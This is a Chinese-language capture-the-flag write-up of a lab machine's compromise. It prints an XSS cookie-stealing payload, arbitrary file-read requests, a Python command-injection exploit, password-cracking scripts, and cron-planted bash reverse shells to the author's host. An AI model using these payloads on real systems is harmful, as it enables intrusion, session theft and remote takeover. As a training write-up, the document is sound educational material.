[Season9] ImageryWP

信息收集,靶机开放了两个端口,有一个 http

1
2
3
 PORT     STATE SERVICE  REASON         VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 9.7p1 Ubuntu 7ubuntu4.3 (Ubuntu Linux; protocol 2.0)
8000/tcp open http-alt syn-ack ttl 63 Werkzeug/3.1.3 Python/3.12.7

查看 http 网站,是一个可以上传并查看图片的应用。通过修改登录的返回包看到前端 Admin Panel 按钮,同时应用会访问 /auth_status 查询登录权限。admin 接口都需要权限,但我们可以在 admin 界面得到

1
It looks like there are no administrator accounts registered yet. The first user to register will automatically become the administrator. Please register an account to gain admin access.

XSS

网站还有 report bug 的功能,提交之后返回 admin 会去查看,以及在前面的 Admin Panel 界面看到有 Submitted Bug Reports,通过查看代码得到显示 bug reports 的逻辑,可以看到 ${report.details} 没有使用 DOMPurify.sanitize() 而是被直接插入,可以 XSS

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
async function loadBugReports() {
const bugReportsList = document.getElementById('bug-reports-list');
const noBugReports = document.getElementById('no-bug-reports');

if (!bugReportsList || !noBugReports) {
console.error("Error: Admin panel bug report elements not found.");
return;
}

bugReportsList.innerHTML = '';
noBugReports.style.display = 'none';

try {
const response = await fetch(`${window.location.origin}/admin/bug_reports`);
const data = await response.json();

if (data.success) {
if (data.bug_reports.length === 0) {
noBugReports.style.display = 'block';
} else {
data.bug_reports.forEach(report => {
const reportCard = document.createElement('div');
reportCard.className = 'bg-white p-6 rounded-xl shadow-md border-l-4 border-purple-500 flex justify-between items-center';

reportCard.innerHTML = `
<div>
<p class="text-sm text-gray-500 mb-2">Report ID: ${DOMPurify.sanitize(report.id)}</p>
<p class="text-sm text-gray-500 mb-2">Submitted by: ${DOMPurify.sanitize(report.reporter)} (ID: ${DOMPurify.sanitize(report.reporterDisplayId)}) on ${new Date(report.timestamp).toLocaleString()}</p>
<h3 class="text-xl font-semibold text-gray-800 mb-3">Bug Name: ${DOMPurify.sanitize(report.name)}</h3>
<h3 class="text-xl font-semibold text-gray-800 mb-3">Bug Details:</h3>
<div class="bg-gray-100 p-4 rounded-lg overflow-auto max-h-48 text-gray-700 break-words">
${report.details}
</div>
</div>
<button onclick="showDeleteBugReportConfirmation('${DOMPurify.sanitize(report.id)}')" class="bg-red-500 hover:bg-red-600 text-white font-bold py-2 px-4 rounded-lg shadow-md transition duration-200 ml-4">
Delete
</button>
`;
bugReportsList.appendChild(reportCard);
});
}
} else {
showMessage(data.message, 'error');
}
} catch (error) {
console.error('Error loading bug reports:', error);
showMessage('Failed to load bug reports. Please try again later.', 'error');
}
}

注意到 Cookie 中用于鉴权的字段 session 没有 HttpOnly,我们可以使用 XSS 来窃取 Admin 的 cookie

1
{"bugName":"test123","bugDetails":"<img src=x onerror=window.open('http://10.10.16.35:8010/?cookie='+document.cookie)>"}

监听

1
2
3
4
5
6
7
8
9
10
11
12
root@cloudcone ~# nc -lvp 8010
Listening on 0.0.0.0 8010
Connection received on 10.10.11.88 59696
GET /?cookie=session=.eJw9jbEOgzAMRP_Fc4UEZcpER74iMolLLSUGxc6AEP-Ooqod793T3QmRdU94zBEcYL8M4RlHeADrK2YWcFYqteg571R0EzSW1RupVaUC7o1Jv8aPeQxhq2L_rkHBTO2irU6ccaVydB9b4LoBKrMv2w.aN4-oQ.e_5dnfVqcDilFFuv3CBRAOplWUA HTTP/1.1
Host: 10.10.16.35:8010
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/138.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://0.0.0.0:8000/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

文件任意读

使用 Admin 的 cookie 访问后发现有一个下载用户日志的功能,可以实现任意文件读

1
2
3
4
GET /admin/get_system_log?log_identifier=/etc/passwd
GET /admin/get_system_log?log_identifier=/proc/self/cmdline
# /home/web/web/env/bin/python app.py
GET /admin/get_system_log?log_identifier=/home/web/web/app.py

可以从 app.py 看出别的 py 文件位置

1
2
3
4
5
6
7
8
from config import *
from utils import *
from api_auth import bp_auth
from api_upload import bp_upload
from api_manage import bp_manage
from api_edit import bp_edit
from api_admin import bp_admin
from api_misc import bp_misc

命令注入

api_edit.py 中使用了 subprocess 来进行命令执行,但是其中参数我们可控,可以被命令注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
@bp_edit.route('/apply_visual_transform', methods=['POST'])
def apply_visual_transform():
if not session.get('is_testuser_account'):
return jsonify({'success': False, 'message': 'Feature is still in development.'}), 403
if 'username' not in session:
return jsonify({'success': False, 'message': 'Unauthorized. Please log in.'}), 401
request_payload = request.get_json()
image_id = request_payload.get('imageId')
transform_type = request_payload.get('transformType')
params = request_payload.get('params', {})
if not image_id or not transform_type:
return jsonify({'success': False, 'message': 'Image ID and transform type are required.'}), 400
application_data = _load_data()
original_image = next((img for img in application_data['images'] if img['id'] == image_id and img['uploadedBy'] == session['username']), None)
if not original_image:
return jsonify({'success': False, 'message': 'Image not found or unauthorized to transform.'}), 404
original_filepath = os.path.join(UPLOAD_FOLDER, original_image['filename'])
if not os.path.exists(original_filepath):
return jsonify({'success': False, 'message': 'Original image file not found on server.'}), 404
if original_image.get('actual_mimetype') not in ALLOWED_TRANSFORM_MIME_TYPES:
return jsonify({'success': False, 'message': f"Transformation not supported for '{original_image.get('actual_mimetype')}' files."}), 400
original_ext = original_image['filename'].rsplit('.', 1)[1].lower()
if original_ext not in ALLOWED_IMAGE_EXTENSIONS_FOR_TRANSFORM:
return jsonify({'success': False, 'message': f"Transformation not supported for {original_ext.upper()} files."}), 400
try:
unique_output_filename = f"transformed_{uuid.uuid4()}.{original_ext}"
output_filename_in_db = os.path.join('admin', 'transformed', unique_output_filename)
output_filepath = os.path.join(UPLOAD_FOLDER, output_filename_in_db)
if transform_type == 'crop':
x = str(params.get('x'))
y = str(params.get('y'))
width = str(params.get('width'))
height = str(params.get('height'))
command = f"{IMAGEMAGICK_CONVERT_PATH} {original_filepath} -crop {width}x{height}+{x}+{y} {output_filepath}"
subprocess.run(command, capture_output=True, text=True, shell=True, check=True)
elif transform_type == 'rotate':
degrees = str(params.get('degrees'))
command = [IMAGEMAGICK_CONVERT_PATH, original_filepath, '-rotate', degrees, output_filepath]
subprocess.run(command, capture_output=True, text=True, check=True)
elif transform_type == 'saturation':
value = str(params.get('value'))
command = [IMAGEMAGICK_CONVERT_PATH, original_filepath, '-modulate', f"100,{float(value)*100},100", output_filepath]
subprocess.run(command, capture_output=True, text=True, check=True)
elif transform_type == 'brightness':
value = str(params.get('value'))
command = [IMAGEMAGICK_CONVERT_PATH, original_filepath, '-modulate', f"100,100,{float(value)*100}", output_filepath]
subprocess.run(command, capture_output=True, text=True, check=True)
elif transform_type == 'contrast':
value = str(params.get('value'))
command = [IMAGEMAGICK_CONVERT_PATH, original_filepath, '-modulate', f"{float(value)*100},{float(value)*100},{float(value)*100}", output_filepath]
subprocess.run(command, capture_output=True, text=True, check=True)
else:
return jsonify({'success': False, 'message': 'Unsupported transformation type.'}), 400
new_image_id = str(uuid.uuid4())
new_image_entry = {
'id': new_image_id,
'filename': output_filename_in_db,
'url': f'/uploads/{output_filename_in_db}',
'title': f"Transformed: {original_image['title']}",
'description': f"Transformed from {original_image['title']} ({transform_type}).",
'timestamp': datetime.now().isoformat(),
'uploadedBy': session['username'],
'uploadedByDisplayId': session['displayId'],
'group': 'Transformed',
'type': 'transformed',
'original_id': original_image['id'],
'actual_mimetype': get_file_mimetype(output_filepath)
}
application_data['images'].append(new_image_entry)
if not any(coll['name'] == 'Transformed' for coll in application_data.get('image_collections', [])):
application_data.setdefault('image_collections', []).append({'name': 'Transformed'})
_save_data(application_data)
return jsonify({'success': True, 'message': 'Image transformed successfully!', 'newImageUrl': new_image_entry['url'], 'newImageId': new_image_id}), 200
except subprocess.CalledProcessError as e:
return jsonify({'success': False, 'message': f'Image transformation failed: {e.stderr.strip()}'}), 500
except Exception as e:
return jsonify({'success': False, 'message': f'An unexpected error occurred during transformation: {str(e)}'}), 500

@bp_edit.route('/convert_image', methods=['POST'])
def convert_image():
if not session.get('is_testuser_account'):
return jsonify({'success': False, 'message': 'Feature is still in development.'}), 403
if 'username' not in session:
return jsonify({'success': False, 'message': 'Unauthorized. Please log in.'}), 401
request_payload = request.get_json()
image_id = request_payload.get('imageId')
target_format = request_payload.get('targetFormat')
if not image_id or not target_format:
return jsonify({'success': False, 'message': 'Image ID and target format are required.'}), 400
if target_format.lower() not in ALLOWED_MEDIA_EXTENSIONS:
return jsonify({'success': False, 'message': 'Target format not allowed.'}), 400
application_data = _load_data()
original_image = next((img for img in application_data['images'] if img['id'] == image_id and img['uploadedBy'] == session['username']), None)
if not original_image:
return jsonify({'success': False, 'message': 'Image not found or unauthorized to convert.'}), 404
original_filepath = os.path.join(UPLOAD_FOLDER, original_image['filename'])
if not os.path.exists(original_filepath):
return jsonify({'success': False, 'message': 'Original image file not found on server.'}), 404
current_ext = original_image['filename'].rsplit('.', 1)[1].lower()
if target_format.lower() == current_ext:
return jsonify({'success': False, 'message': f'Image is already in {target_format.upper()} format.'}), 400
try:
unique_output_filename = f"converted_{uuid.uuid4()}.{target_format.lower()}"
output_filename_in_db = os.path.join('admin', 'converted', unique_output_filename)
output_filepath = os.path.join(UPLOAD_FOLDER, output_filename_in_db)
command = [IMAGEMAGICK_CONVERT_PATH, original_filepath, output_filepath]
subprocess.run(command, capture_output=True, text=True, check=True)
new_file_md5 = _calculate_file_md5(output_filepath)
if new_file_md5 is None:
os.remove(output_filepath)
return jsonify({'success': False, 'message': 'Failed to calculate MD5 hash for new file.'}), 500
for img_entry in application_data['images']:
if img_entry.get('type') == 'converted' and img_entry.get('original_id') == original_image['id']:
existing_converted_filepath = os.path.join(UPLOAD_FOLDER, img_entry['filename'])
existing_file_md5 = img_entry.get('md5_hash')
if existing_file_md5 is None:
existing_file_md5 = _calculate_file_md5(existing_converted_filepath)
if existing_file_md5:
img_entry['md5_hash'] = existing_file_md5
_save_data(application_data)
if existing_file_md5 == new_file_md5:
os.remove(output_filepath)
return jsonify({'success': False, 'message': 'An identical converted image already exists.'}), 409
new_image_id = str(uuid.uuid4())
new_image_entry = {
'id': new_image_id,
'filename': output_filename_in_db,
'url': f'/uploads/{output_filename_in_db}',
'title': f"Converted: {original_image['title']} to {target_format.upper()}",
'description': f"Converted from {original_image['filename']} to {target_format.upper()}.",
'timestamp': datetime.now().isoformat(),
'uploadedBy': session['username'],
'uploadedByDisplayId': session['displayId'],
'group': 'Converted',
'type': 'converted',
'original_id': original_image['id'],
'actual_mimetype': get_file_mimetype(output_filepath),
'md5_hash': new_file_md5
}
application_data['images'].append(new_image_entry)
if not any(coll['name'] == 'Converted' for coll in application_data.get('image_collections', [])):
application_data.setdefault('image_collections', []).append({'name': 'Converted'})
_save_data(application_data)
return jsonify({'success': True, 'message': 'Image converted successfully!', 'newImageUrl': new_image_entry['url'], 'newImageId': new_image_id}), 200
except subprocess.CalledProcessError as e:
if os.path.exists(output_filepath):
os.remove(output_filepath)
return jsonify({'success': False, 'message': f'Image conversion failed: {e.stderr.strip()}'}), 500
except Exception as e:
return jsonify({'success': False, 'message': f'An unexpected error occurred during conversion: {str(e)}'}), 500

这个接口需要我们是 testuser,可以在 api_admin.py 中找到通过鉴权的方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
@bp_admin.route('/admin/impersonate_testuser', methods=['POST'])
def admin_impersonate_testuser():
if not session.get('isAdmin') or session.get('is_impersonating_testuser'):
return jsonify({'success': False, 'message': 'Access denied. Administrator privileges required or already impersonating.'}), 403
request_payload = request.get_json()
password = request_payload.get('password')
application_data = _load_data()
testuser_account = next((u for u in application_data['users'] if u['username'] == 'testuser@imagery.com'), None)
if not testuser_account:
return jsonify({'success': False, 'message': 'Testuser account does not exist. Please create it manually.'}), 404
if testuser_account.get('locked_until'):
try:
locked_until_time = datetime.fromisoformat(testuser_account['locked_until'])
if datetime.now() < locked_until_time:
return jsonify({'success': False, 'message': 'Testuser account is blocked and try again sometime later.'}), 429
else:
testuser_account['failed_login_attempts'] = 0
testuser_account['locked_until'] = None
_save_data(application_data)
except ValueError:
testuser_account['locked_until'] = None
testuser_account['failed_login_attempts'] = 0
_save_data(application_data)
return jsonify({'success': False, 'message': 'Account state corrupted, please try again.'}), 500
hashed_input_password = _hash_password(password)
if testuser_account['password'] == hashed_input_password:
session['original_admin_username'] = session['username']
session['original_admin_displayId'] = session['displayId']
session['original_admin_is_admin'] = session['isAdmin']
session['username'] = testuser_account['username']
session['displayId'] = testuser_account['displayId']
session['isAdmin'] = testuser_account['isAdmin']
session['is_testuser_account'] = testuser_account.get('isTestuser', False)
session['is_impersonating_testuser'] = True
return jsonify({'success': True, 'message': 'Successfully logged in as testuser.'}), 200
else:
testuser_account['failed_login_attempts'] = testuser_account.get('failed_login_attempts', 0) + 1
if testuser_account['failed_login_attempts'] >= MAX_LOGIN_ATTEMPTS:
testuser_account['locked_until'] = (datetime.now() + timedelta(minutes=ACCOUNT_LOCKOUT_DURATION_MINS)).isoformat()
_save_data(application_data)
return jsonify({'success': False, 'message': 'Testuser account is blocked and try again sometime later.'}), 401
_save_data(application_data)

db.json 中得到 testuser@imagery.htb 的 password 的 md5 hash 为 2c65c8d7bfbca32a3ed42596192384f6 得到 password 为 iambatman

那么只要以 testuser 登录,上传一个图片后就可以进行命令注入了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import requests

url = "http://127.0.0.1:8888"

session = requests.Session()

def logintestuser():
payload = {
"username": "testuser@imagery.htb",
"password": "iambatman"
}
res = session.post(url + "/login", json=payload)
print("[+]", res.text)


def upload_image():
files = {
'file': ('exploit.jpg', open('exploit.jpg', 'rb'), 'image/jpeg')
}
data = {
'title': 'Exploit Image',
'description': 'Image with exploit payload',
'group_name': 'Exploits'
}
res = session.post(url + "/upload_image", files=files, data=data)
print("[+]", res.text)
global imageId
imageId = res.json().get("imageId", "")


def exploit():
payload = {
"imageId": imageId,
"transformType": "crop",
"params": {
"x": "",
"y": "; bash -c \"/bin/bash -i > /dev/tcp/10.10.16.35/8080 0>&1\";",
"width": "",
"height": "",
}
}
res = session.post(url + "/apply_visual_transform", json=payload)
print("[+]", res.text)

logintestuser()
upload_image()
exploit()

user flag

跑了一下 linpeas 有找到 /var/backup/web_20250806_120723.zip.aes,发现文件是使用 pyAesCrypt 加密的

1
2
3
4
root@cloudcone ~/workspace# xxd web.zip.aes | head
00000000: 4145 5302 0000 1b43 5245 4154 4544 5f42 AES....CREATED_B
00000010: 5900 7079 4165 7343 7279 7074 2036 2e31 Y.pyAesCrypt 6.1
00000020: 2e31 0080 0000 0000 0000 0000 0000 0000 .1..............

写个脚本爆破一下

1
2
3
4
5
6
7
8
9
10
11
12
import pyAesCrypt

with open("rockyou.txt", "r", encoding="utf-8") as f:
passwords = f.read().splitlines()

for password in passwords:
try:
pyAesCrypt.decryptFile("web.zip.aes", "web.zip", password)
print(f"Decryption successful with password: {password}")
break
except ValueError:
print(f"Failed to decrypt with password: {password}")

得到 password 为 bestfriends,解压后从 db.json 里得到 mark 的 password hash 为 01c3d2e5bdaf6134cec0a367cf53e535,md5 破解后得到 supersmash

在反弹的 shell 里切换用户到 mark

1
su mark

root flag

1
2
3
4
5
6
7
8
sudo -l
Matching Defaults entries for mark on Imagery:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty

User mark may run the following commands on Imagery:
(ALL) NOPASSWD: /usr/local/bin/charcol

查看 help

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
sudo /usr/local/bin/charcol -h
usage: charcol.py [--quiet] [-R] {shell,help} ...

Charcol: A CLI tool to create encrypted backup zip files.

positional arguments:
{shell,help} Available commands
shell Enter an interactive Charcol shell.
help Show help message for Charcol or a specific command.

options:
--quiet Suppress all informational output, showing only
warnings and errors.
-R, --reset-password-to-default
Reset application password to default (requires system
password verification).

我们先重置密码然后打开 charcol shell,再次使用 help 可以看到有一个写 cron 的功能

1
2
Automated Jobs (Cron):
auto add --schedule "<cron_schedule>" --command "<shell_command>" --name "<job_name>" [--log-output <log_file>]

写反弹 shell

1
auto add --name "My Daily Docs Backup" --schedule "* * * * *" --command "bash -c 'bash -i >& /dev/tcp/10.10.16.35/443 0>&1'"

得到 root flag

1
2
3
4
5
6
7
8
root@cloudcone ~/workspace# rlwrap nc -lvp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.88 47678
bash: cannot set terminal process group (72080): Inappropriate ioctl for device
bash: no job control in this shell
whoami
whoami
root